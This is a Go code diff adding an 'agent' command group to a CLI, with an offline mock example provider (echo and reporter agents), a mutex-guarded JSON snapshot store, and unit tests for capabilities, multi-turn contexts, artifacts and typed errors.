+	t.Cleanup(func() { store = old })
+}
+
+// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
+func buildProvider(t *testing.T, agentID string) *agent.Provider {
+	t.Helper()
+	p, err := newProvider(agent.Deps{}, agentID)
+	if err != nil {
+		t.Fatalf("newProvider: %v", err)
+	}
+	return p
+}
+
+// TestConformance runs the shared conformance suite: locking registration metadata,
+// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
+// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
+func TestConformance(t *testing.T) {
+	agenttest.RunConformance(t, scheme, "echo")
+}
+
+// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
+func TestConformanceReporter(t *testing.T) {
+	agenttest.RunConformance(t, scheme, "reporter")
+}
+
+// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
+// capability matrices (the core of the teaching demo: honest capability declaration
+// plus task_cancel true for one and false for the other).
+func TestCapabilityMatrixDiverges(t *testing.T) {
+	// The card matrix is derived from which Provider fields the Factory wires per
+	// agent, so DeriveCapabilities over the two constructed providers is the
+	// single source under test.
+	ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
+	rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
+	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
+		t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
+	}
+	if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
+		t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
+	}
+	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
+		t.Errorf("reporter should have everything enabled, got %+v", rc)
+	}
+}
+
+// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
+// original text and generates a context_id, and a follow-up in the same context
+// echoes with a turn marker.
+func TestEchoMultiTurn(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "echo")
+	ctx := context.Background()
+
+	t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
+	if err != nil {
+		t.Fatalf("first-turn Send: %v", err)
+	}
+	if t1.State != agent.StateCompleted {
+		t.Fatalf("send should be immediately completed, got %s", t1.State)
+	}
+	if t1.ContextID == "" || t1.TaskID == "" {
+		t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
+	}
+	if got := agentReply(t, t1); got != "hello" {
+		t.Fatalf("first-turn echo should be the original text, got %q", got)
+	}
+
+	t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
+	if err != nil {
+		t.Fatalf("follow-up Send: %v", err)
+	}
+	if t2.ContextID != t1.ContextID {
+		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
+	}
+	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
+		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
+	}
+
+	// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
+	got, err := p.GetTask(ctx, t2.TaskID)
+	if err != nil {
+		t.Fatalf("GetTask: %v", err)
+	}
+	if agentReply(t, got) != "再来（第 2 轮）" {
+		t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
+	}
+	tasks, err := p.ListTasks(ctx, t1.ContextID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(tasks) != 2 {
+		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
+	}
+	ctxs, err := p.ListContexts(ctx)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
+		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
+	}
+	detail, err := p.GetContext(ctx, t1.ContextID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(detail.Tasks) != 2 {
+		t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
+	}
+}
+
+// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
+// instance pointing at the same snapshot file (simulating a new CLI process), the task
+// is still queryable -- the offline demo chain depends on this.
+func TestStateSurvivesReload(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "echo")
+	task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	// A new store instance = a new process view; only the snapshot file is shared memory.
+	store = newMemoryStore(store.path)
+	got, err := p.GetTask(context.Background(), task.TaskID)
+	if err != nil {
+		t.Fatalf("GetTask after reload: %v", err)
+	}
+	if got.ContextID != task.ContextID {
+		t.Fatalf("task should replay fully after reload: %+v", got)
+	}
+}
+
+// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
+// and DownloadArtifact returns inline Bytes + suggested_name.
+func TestReporterArtifactFlow(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "reporter")
+	ctx := context.Background()
+
+	task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(task.Artifacts) != 1 {
+		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
+	}
+	art := task.Artifacts[0]
+	if art.ID == "" || art.Kind != "text" {
+		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
+	}
+
+	data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
+	if err != nil {
+		t.Fatalf("DownloadArtifact: %v", err)
+	}
+	if data.Name != "quarterly_report.csv" {
+		t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
+	}
+	if data.Mime != "text/csv" {
+		t.Errorf("mime should be text/csv, got %q", data.Mime)
+	}
+	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
+		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
+	}
+
+	// Unknown artifact id -> typed validation error.
+	if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
+		t.Fatal("unknown artifact id should return an error")
+	} else if _, ok := errs.ProblemOf(err); !ok {
+		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
+	}
+}
+
+// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
+// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
+// false. There is no capability-refusal code — the command layer gates on the
+// nil fields and returns unsupported_capability before any provider method runs.
+func TestEchoUnwiredCapabilities(t *testing.T) {
+	p := buildProvider(t, "echo")
+	if p.CancelTask != nil {
+		t.Error("echo should not wire CancelTask (task_cancel=false)")
+	}
+	if p.DownloadArtifact != nil {
+		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
+	}
+	if p.FileInput {
+		t.Error("echo should not accept file input (file_input=false)")
+	}
+}
+
+// TestReporterCancelTerminal verifies reporter supports cancel but returns a
+// failed_precondition typed error for a terminal task (the mock task is completed
+// as soon as it is sent).
+func TestReporterCancelTerminal(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "reporter")
+	ctx := context.Background()
+	task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	err = p.CancelTask(ctx, task.TaskID)
+	if err == nil {
+		t.Fatal("canceling a terminal task should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
+	}
+	if prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
+	}
+}
+
+// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
+// typed error (invalid_argument, with a hint pointing to agent list example).
+func TestUnknownCatalogID(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "nonexistent")
+	ctx := context.Background()
+	if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
+		t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
+	}
+	_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
+	if err == nil {
+		t.Fatal("Send with an unknown catalog id should return an error")
+	}
+	prob, ok := errs.ProblemOf(err)
+	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
+	}
+}
+
+// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
+// semantics) and an unknown context id.
+func TestSendGuards(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "echo")
+	ctx := context.Background()
+
+	_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
+	}
+
+	_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
+	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
+	}
+}
+
+// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
+func TestDeleteContext(t *testing.T) {
+	swapStore(t)
+	p := buildProvider(t, "echo")
+	ctx := context.Background()
+	task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := p.DeleteContext(ctx, task.ContextID); err != nil {
+		t.Fatal(err)
+	}
+	if _, err := p.GetTask(ctx, task.TaskID); err == nil {
+		t.Fatal("after deleting the context its tasks should be unqueryable")
+	}
+	ctxs, err := p.ListContexts(ctx)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(ctxs) != 0 {
+		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
+	}
+}
+
+// agentReply returns the first text reply from the agent role in the task.
+func agentReply(t *testing.T, task *agent.AgentTask) string {
+	t.Helper()
+	for _, m := range task.Messages {
+		if m.Role != "agent" {
+			continue
+		}
+		for _, part := range m.Parts {
+			if part.Type == "text" {
+				return part.Text
+			}
+		}
+	}
+	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
+	return ""
+}

agent/example/state.go

@@ -0,0 +1,324 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package example
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"sort"
+	"sync"
+	"time"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/vfs"
+)
+
+// ============================================================================
+// In-memory state machine (teaching focus: concurrency safety of package-level
+// state + the CLI process boundary)
+//
+// A real provider's context/task state lives on the server, so the adapter is
+// naturally stateless; example is a pure mock and must manage state itself. Two
+// disciplines the integrator needs to know:
+//
+//  1. Concurrency safety: provider instances may be constructed / called
+//     concurrently (e.g. list's probe alongside the real call), so package-level
+//     mutable state must be locked. A single coarse-grained Mutex covers all
+//     reads and writes here — the mock does not chase throughput; correctness comes first.
+//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
+//     in-memory map does not survive a single command — after `send`, a
+//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
+//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
+//     demo chain work across commands. A real provider neither needs nor should
+//     have this layer — it is a mock-only demo device.
+//
+// Note that the snapshot is loaded lazily (only on the first real read/write of
+// state): Register's zero-value Deps probe constructs a provider once at
+// registration time, and construction must have no side effects (the registry.go
+// contract), so Factory / Card / ListAgents must not touch store.
+// ============================================================================
+
+// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
+// + creation sequence number (list output sorts by creation order to guarantee
+// stable enumeration).
+type taskRecord struct {
+	AgentID string          `json:"agent_id"`
+	Seq     int             `json:"seq"`
+	Task    agent.AgentTask `json:"task"`
+}
+
+// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
+// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
+// demonstrate "context memory".
+type contextRecord struct {
+	AgentID   string   `json:"agent_id"`
+	ContextID string   `json:"context_id"`
+	CreatedAt string   `json:"created_at"`
+	Title     string   `json:"title,omitempty"`
+	Seq       int      `json:"seq"`
+	TaskIDs   []string `json:"task_ids"`
+}
+
+// memoryStore is the package-level state machine itself: mu covers all fields;
+// path is the JSON snapshot location; loaded ensures the snapshot is read only
+// once, on first access.
+type memoryStore struct {
+	mu     sync.Mutex
+	path   string
+	loaded bool
+
+	Contexts map[string]*contextRecord `json:"contexts"`
+	Tasks    map[string]*taskRecord    `json:"tasks"`
+	NextSeq  int                       `json:"next_seq"`
+}
+
+// store is the package-level singleton. Tests use swapStoreForTest to replace it
+// with an instance pointing at t.TempDir, avoiding cross-contamination between
+// tests and between tests and the local demo state.
+var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
+
+func newMemoryStore(path string) *memoryStore {
+	return &memoryStore{
+		path:     path,
+		Contexts: map[string]*contextRecord{},
+		Tasks:    map[string]*taskRecord{},
+	}
+}
+
+// loadLocked lazily reads in the snapshot (the caller must already hold the
+// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
+// mock's demo data is not worth erroring over, so it just starts fresh.
+func (s *memoryStore) loadLocked() {
+	if s.loaded {
+		return
+	}
+	s.loaded = true
+	data, err := vfs.ReadFile(s.path)
+	if err != nil {
+		return
+	}
+	var snap memoryStore
+	if json.Unmarshal(data, &snap) != nil {
+		return
+	}
+	if snap.Contexts != nil {
+		s.Contexts = snap.Contexts
+	}
+	if snap.Tasks != nil {
+		s.Tasks = snap.Tasks
+	}
+	s.NextSeq = snap.NextSeq
+}
+
+// saveLocked writes the current state back to the snapshot (the caller must
+// already hold the lock). A write failure returns a typed internal error
+// (storage subtype) — the mock does not swallow errors either: silently losing
+// state would make the next command report "task not found", which is harder to
+// diagnose than a clear error.
+func (s *memoryStore) saveLocked() error {
+	data, err := json.MarshalIndent(s, "", "  ")
+	if err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
+	}
+	if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
+		return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
+	}
+	return nil
+}
+
+// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
+// deliberately aligns with the command layer's meta.next interpolation
+// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
+// string "the AI copies and runs", and an id with shell metacharacters would
+// cause the whole hint to be suppressed.
+func newID(prefix string) string {
+	var b [6]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		// crypto/rand being unavailable is an environment-level failure; the mock
+		// degrades to a timestamp that still satisfies the character set.
+		return prefix + "_" + time.Now().UTC().Format("20060102150405")
+	}
+	return prefix + "_" + hex.EncodeToString(b[:])
+}
+
+// createContext creates a new context and returns its id (the first-turn send goes here).
+func (s *memoryStore) createContext(agentID, title string) (string, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	id := newID("ctx")
+	s.NextSeq++
+	s.Contexts[id] = &contextRecord{
+		AgentID:   agentID,
+		ContextID: id,
+		CreatedAt: time.Now().UTC().Format(time.RFC3339),
+		Title:     title,
+		Seq:       s.NextSeq,
+	}
+	return id, s.saveLocked()
+}
+
+// createTask appends a task under ctxID: validate context ownership → compute
+// the round (which task number in this conversation) → call build under the lock
+// to construct the task → insert and write the snapshot. build runs inside the
+// lock to guarantee "compute the round" and "store the task" are atomic, so two
+// concurrent sends never get the same round.
+// An unknown / cross-agent context id returns a typed validation error (teaching
+// point: every error a provider returns must be typed — a bare error would land
+// as internal/exit 5, whereas this is clearly "the caller passed a wrong
+// argument", semantically invalid_argument/exit 2, and the AI relies on this
+// classification to decide between "fix the argument and retry" and "report an
+// environment failure").
+func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
+	}
+	task := build(len(ctx.TaskIDs) + 1)
+	s.NextSeq++
+	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
+	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
+	return task, s.saveLocked()
+}
+
+// getTask fetches a task snapshot by id (returns a copy by value, so the command
+// layer's in-place edits like normalizeTask do not write through to store). A
+// cross-agent task is treated as "not found", without leaking another agent's state.
+func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok || rec.AgentID != agentID {
+		return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
+			WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
+	}
+	return rec.Task, nil
+}
+
+// setTaskState updates a task's state (used by reporter's cancel).
+func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
+	}
+	rec.Task.State = state
+	rec.Task.IsTerminal = state.IsTerminal()
+	return s.saveLocked()
+}
+
+// listTasks lists an agent's task summaries, optionally filtered by contextID
+// (empty string means no filter), output in creation order. IsTerminal is
+// carried along here for convenience, but the command layer re-derives it from
+// State via normalizeTask* (single source), so the integrator need not worry
+// about this field.
+func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*taskRecord, 0, len(s.Tasks))
+	for _, rec := range s.Tasks {
+		if rec.AgentID != agentID {
+			continue
+		}
+		if contextID != "" && rec.Task.ContextID != contextID {
+			continue
+		}
+		recs = append(recs, rec)
+	}
+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
+	out := make([]agent.TaskSummary, 0, len(recs))
+	for _, rec := range recs {
+		out = append(out, agent.TaskSummary{
+			TaskID:     rec.Task.TaskID,
+			ContextID:  rec.Task.ContextID,
+			State:      rec.Task.State,
+			IsTerminal: rec.Task.IsTerminal,
+		})
+	}
+	return out
+}
+
+// listContexts lists an agent's context summaries, output in creation order.
+func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*contextRecord, 0, len(s.Contexts))
+	for _, ctx := range s.Contexts {
+		if ctx.AgentID == agentID {
+			recs = append(recs, ctx)
+		}
+	}
+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
+	out := make([]agent.ContextSummary, 0, len(recs))
+	for _, ctx := range recs {
+		out = append(out, agent.ContextSummary{
+			ContextID: ctx.ContextID,
+			CreatedAt: ctx.CreatedAt,
+			Title:     ctx.Title,
+		})
+	}
+	return out
+}
+
+// getContext returns a context's detail (including its task summaries, in creation order).
+func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
+	}
+	detail := &agent.ContextDetail{
+		ContextID: ctx.ContextID,
+		CreatedAt: ctx.CreatedAt,
+		Title:     ctx.Title,
+	}
+	for _, tid := range ctx.TaskIDs {
+		if rec, ok := s.Tasks[tid]; ok {
+			detail.Tasks = append(detail.Tasks, agent.TaskSummary{
+				TaskID:     rec.Task.TaskID,
+				ContextID:  rec.Task.ContextID,
+				State:      rec.Task.State,
+				IsTerminal: rec.Task.IsTerminal,
+			})
+		}
+	}
+	return detail, nil
+}
+
+// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
+func (s *memoryStore) deleteContext(agentID, ctxID string) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
+	}
+	for _, tid := range ctx.TaskIDs {
+		delete(s.Tasks, tid)
+	}
+	delete(s.Contexts, ctxID)
+	return s.saveLocked()
+}

agent/register.go

@@ -0,0 +1,19 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agent is the top-level business layer that wires the in-repo agent
+// providers into the framework registry (internal/agent). It mirrors the events
+// layering: the framework/SPI lives in internal/agent, the concrete providers
+// live under agent/<scheme>/, and this package blank-imports each so their
+// init() self-registration runs. Blank-import this package from cmd to populate
+// the provider registry.
+//
+// To onboard a new provider: add its package under agent/<scheme>/ and add one
+// matching blank import below.
+package agent
+
+import (
+	// example is the in-repo onboarding template and offline demo provider
+	// (in-memory mock, zero network); its init() registers the "example" scheme.
+	_ "github.com/larksuite/cli/agent/example"
+)

cmd/agent/agent.go

@@ -0,0 +1,29 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+)
+
+// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
+// that drives remote A2A agents with constant verbs. It is a pure group with
+// no RunE, so an unknown subcommand is reported rather than silently
+// swallowed. All five verbs (list/card/send/task/context) are wired here; task
+// and context are themselves nested groups.
+func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "agent",
+		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
+		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
+	}
+	cmd.AddCommand(NewCmdAgentList(f))
+	cmd.AddCommand(NewCmdAgentCard(f))
+	cmd.AddCommand(NewCmdAgentSend(f, nil))
+	cmd.AddCommand(NewCmdAgentTask(f))
+	cmd.AddCommand(NewCmdAgentContext(f))
+	return cmd
+}

cmd/agent/agent_test.go

@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import "testing"
+
+// TestAgentCommandTree pins the shape of the `agent` command tree: the group
+// itself must have no RunE/Run (a bare group whose unknown subcommands surface
+// an error rather than being silently swallowed), and it must expose all five
+// verbs plus the nested task/context sub-groups.
+func TestAgentCommandTree(t *testing.T) {
+	cmd := NewCmdAgent(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
+	}
+	want := []string{"list", "card", "send", "task", "context"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand %s", name)
+		}
+	}
+	// task/context are nested groups
+	if task := findSub(cmd, "task"); task == nil {
+		t.Error("missing agent task group")
+	} else if findSub(task, "get") == nil {
+		t.Error("missing agent task get")
+	}
+	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
+		t.Error("missing agent context group")
+	} else if findSub(ctxCmd, "delete") == nil {
+		t.Error("missing agent context delete")
+	}
+}

cmd/agent/card.go

@@ -0,0 +1,181 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// cardOptions holds all inputs for `agent card <ref>`.
+type cardOptions struct {
+	Factory *cmdutil.Factory
+	Cmd     *cobra.Command
+	Ref     string
+	As      string
+	Format  string
+}
+
+// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
+// capability card. Adapters synthesize the card statically from their known
+// capability matrix — no API call is made, and the command works offline /
+// under mock. Risk=read.
+func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
+	opts := &cardOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "card <agent_ref>",
+		Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
+		Long:  "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentCardRun(opts)
+		},
+	}
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	if f != nil {
+		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
+	} else {
+		// f is nil only in construction-time unit tests; register a bare --as so
+		// the flag surface is still assertable without a Factory.
+		cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
+	}
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// agentCardRun resolves the provider addressed by ref and emits its capability
+// card. The card is first-party static data (not agent-generated content), so
+// it bypasses content-safety scanning. The JSON success envelope is the
+// default; --format pretty opts into the human-readable listing. A --jq
+// expression forces JSON (jq operates on the envelope) and, when present,
+// filters stdout.
+func agentCardRun(opts *cardOptions) error {
+	f := opts.Factory
+	// Card synthesis is API-free, so resolve without requiring a
+	// configured client: `agent card` must work offline / before config init.
+	p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	r, err := iagent.ParseRef(opts.Ref)
+	if err != nil {
+		return wrapRefResolveError(err)
+	}
+	card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
+	if err != nil {
+		return err
+	}
+
+	jq := jqExpr(opts.Cmd)
+	// pretty is a human view only; a --jq expression implies structured JSON,
+	// so it takes precedence over the pretty format.
+	if opts.Format == "pretty" && jq == "" {
+		printCardPretty(f.IOStreams.Out, card)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(id),
+		Data:     card,
+		Notice:   output.GetNotice(),
+	}
+	if jq != "" {
+		return output.JqFilter(f.IOStreams.Out, env, jq)
+	}
+	output.PrintJson(f.IOStreams.Out, env)
+	return nil
+}
+
+// printCardPretty writes a compact human-readable view of an agent card:
+// identity header (with per-identity preconditions), the sorted capability
+// matrix, declared parameters and skills — the key constraints an AI reads
+// from json must also be visible to a human. Remote cards carry
+// agent-controlled Name/Description/Desc
+// strings, so every such field is ANSI-stripped before hitting the terminal.
+// Nil cards degrade to a placeholder line rather than panicking.
+func printCardPretty(w io.Writer, card *iagent.AgentCard) {
+	if card == nil {
+		fmt.Fprintln(w, "(no card)")
+		return
+	}
+	// Dynamic cards carry a Name; static cards fall back to the provider label.
+	name := card.Name
+	if name == "" {
+		name = card.ProviderLabel
+	}
+	fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
+	if card.Description != "" {
+		fmt.Fprintf(w, "  %s\n", stripANSI(card.Description))
+	}
+	if len(card.Identity) > 0 {
+		ids := make([]string, 0, len(card.Identity))
+		for _, spec := range card.Identity {
+			id := string(spec.Type)
+			if spec.Precondition != "" {
+				id += "（前置: " + stripANSI(spec.Precondition) + "）"
+			}
+			ids = append(ids, id)
+		}
+		fmt.Fprintf(w, "  identity: %s\n", strings.Join(ids, ", "))
+	}
+
+	fmt.Fprintln(w, "  capabilities:")
+	// Capabilities is a closed struct; iterate in fixed alphabetical key order,
+	// matching the sorted output of the earlier map-based representation.
+	for _, k := range []string{
+		iagent.CapArtifactDownload,
+		iagent.CapFileInput,
+		iagent.CapInputRequired,
+		iagent.CapMultiTurn,
+		iagent.CapTaskCancel,
+		iagent.CapTaskGet,
+		iagent.CapTaskList,
+	} {
+		mark := "no"
+		if card.Supports(k) {
+			mark = "yes"
+		}
+		fmt.Fprintf(w, "    %-20s %s\n", k, mark)
+	}
+
+	if len(card.Parameters) > 0 {
+		fmt.Fprintln(w, "  parameters:")
+		for _, pr := range card.Parameters {
+			req := ""
+			if pr.Required {
+				req = " (required)"
+			}
+			fmt.Fprintf(w, "    %s: %s%s", pr.Name, pr.Type, req)
+			if pr.Desc != "" {
+				fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
+			}
+			fmt.Fprintln(w)
+		}
+	}
+
+	if len(card.Skills) > 0 {
+		fmt.Fprintln(w, "  skills:")
+		for _, sk := range card.Skills {
+			name := sk.Name
+			if name == "" {
+				name = sk.ID
+			}
+			fmt.Fprintf(w, "    %s\n", stripANSI(name))
+		}
+	}
+}

cmd/agent/card_test.go

@@ -0,0 +1,286 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
